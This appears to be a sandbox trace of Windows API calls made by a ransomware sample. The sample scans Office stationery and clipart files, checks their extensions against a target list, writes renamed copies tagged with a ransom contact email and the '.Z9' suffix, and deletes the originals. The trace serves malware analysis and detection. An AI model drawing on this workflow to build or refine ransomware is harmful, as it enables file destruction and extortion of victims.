	[0189.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.043] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5115) returned 1
	[0189.043] CloseHandle (hObject=0x370) returned 1
	[0189.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20
	[0189.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.044] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.044] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=233) returned 1
	[0189.044] CloseHandle (hObject=0x370) returned 1
	[0189.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20
	[0189.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.045] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.045] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=1920) returned 1
	[0189.045] CloseHandle (hObject=0x370) returned 1
	[0189.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20
	[0189.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.046] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.046] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=237) returned 1
	[0189.046] CloseHandle (hObject=0x370) returned 1
	[0189.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20
	[0189.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.047] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.047] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4734) returned 1
	[0189.047] CloseHandle (hObject=0x370) returned 1
	[0189.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20
	[0189.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.048] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.048] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=232) returned 1
	[0189.049] CloseHandle (hObject=0x370) returned 1
	[0189.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20
	[0189.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.049] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.050] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=10569) returned 1
	[0189.050] CloseHandle (hObject=0x370) returned 1
	[0189.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20
	[0189.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.403] Sleep (dwMilliseconds=0x64) 
	[0189.728] Sleep (dwMilliseconds=0x64) 
	[0190.325] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.325] lstrlenW (lpString="J0090149.WMF") returned 12
	[0190.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.326] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=28212) returned 1
	[0190.326] CloseHandle (hObject=0x340) returned 1
	[0190.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220
	[0190.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x20
	[0190.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.327] lstrlenW (lpString=".doc") returned 4
	[0190.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.327] lstrlenW (lpString=".docx") returned 5
	[0190.327] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0190.327] lstrlenW (lpString=".pdf") returned 4
	[0190.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.327] lstrlenW (lpString=".xls") returned 4
	[0190.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.327] lstrlenW (lpString=".xlsx") returned 5
	[0190.327] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0190.327] lstrlenW (lpString=".ppt") returned 4
	[0190.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.327] lstrlenW (lpString=".zip") returned 4
	[0190.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.327] lstrlenW (lpString=".rar") returned 4
	[0190.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.327] lstrlenW (lpString=".bz2") returned 4
	[0190.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.327] lstrlenW (lpString=".7z") returned 3
	[0190.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString=".dbf") returned 4
	[0190.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString=".1cd") returned 4
	[0190.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString=".jpg") returned 4
	[0190.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString=".doc") returned 4
	[0190.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString=".docx") returned 5
	[0190.328] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0190.328] lstrlenW (lpString=".pdf") returned 4
	[0190.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString=".xls") returned 4
	[0190.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.328] lstrlenW (lpString=".xlsx") returned 5
	[0190.328] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0190.328] lstrlenW (lpString=".ppt") returned 4
	[0190.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.328] lstrlenW (lpString=".zip") returned 4
	[0190.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.328] lstrlenW (lpString=".rar") returned 4
	[0190.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.329] lstrlenW (lpString=".bz2") returned 4
	[0190.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.329] lstrlenW (lpString=".7z") returned 3
	[0190.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.329] lstrlenW (lpString=".dbf") returned 4
	[0190.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.329] lstrlenW (lpString=".1cd") returned 4
	[0190.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0190.329] lstrlenW (lpString=".jpg") returned 4
	[0190.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.329] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.329] lstrlenW (lpString="J0090783.WMF") returned 12
	[0190.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.330] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6934) returned 1
	[0190.330] CloseHandle (hObject=0x340) returned 1
	[0190.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0190.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x20
	[0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.330] lstrlenW (lpString=".doc") returned 4
	[0190.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString=".docx") returned 5
	[0190.331] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0190.331] lstrlenW (lpString=".pdf") returned 4
	[0190.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString=".xls") returned 4
	[0190.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.331] lstrlenW (lpString=".xlsx") returned 5
	[0190.331] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0190.331] lstrlenW (lpString=".ppt") returned 4
	[0190.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.331] lstrlenW (lpString=".zip") returned 4
	[0190.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.331] lstrlenW (lpString=".rar") returned 4
	[0190.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString=".bz2") returned 4
	[0190.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString=".7z") returned 3
	[0190.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.331] lstrlenW (lpString=".dbf") returned 4
	[0190.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.331] lstrlenW (lpString=".1cd") returned 4
	[0190.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.331] lstrlenW (lpString=".jpg") returned 4
	[0190.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.332] lstrlenW (lpString=".doc") returned 4
	[0190.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString=".docx") returned 5
	[0190.332] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0190.332] lstrlenW (lpString=".pdf") returned 4
	[0190.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString=".xls") returned 4
	[0190.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.332] lstrlenW (lpString=".xlsx") returned 5
	[0190.332] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0190.332] lstrlenW (lpString=".ppt") returned 4
	[0190.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.332] lstrlenW (lpString=".zip") returned 4
	[0190.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.332] lstrlenW (lpString=".rar") returned 4
	[0190.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString=".bz2") returned 4
	[0190.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString=".7z") returned 3
	[0190.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.332] lstrlenW (lpString=".dbf") returned 4
	[0190.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.332] lstrlenW (lpString=".1cd") returned 4
	[0190.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0190.333] lstrlenW (lpString=".jpg") returned 4
	[0190.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.333] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.333] lstrlenW (lpString="J0099146.WMF") returned 12
	[0190.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.333] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=16596) returned 1
	[0190.334] CloseHandle (hObject=0x340) returned 1
	[0190.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0190.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0190.334] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.334] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0190.524] GetLastError () returned 0x0
	[0190.531] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0190.965] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0190.967] ReadFile (in: hFile=0x340, lpBuffer=0x381f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.967] WriteFile (in: hFile=0x344, lpBuffer=0x381f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x381f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.967] SetEndOfFile (hFile=0x344) returned 1
	[0190.968] CloseHandle (hObject=0x344) returned 1
	[0190.968] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.968] SetEndOfFile (hFile=0x340) returned 1
	[0190.969] CloseHandle (hObject=0x340) returned 1
	[0190.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0190.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0190.970] lstrlenW (lpString=".doc") returned 4
	[0190.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.970] lstrlenW (lpString=".docx") returned 5
	[0190.970] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.970] lstrlenW (lpString=".pdf") returned 4
	[0190.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.970] lstrlenW (lpString=".xls") returned 4
	[0190.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.970] lstrlenW (lpString=".xlsx") returned 5
	[0190.970] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
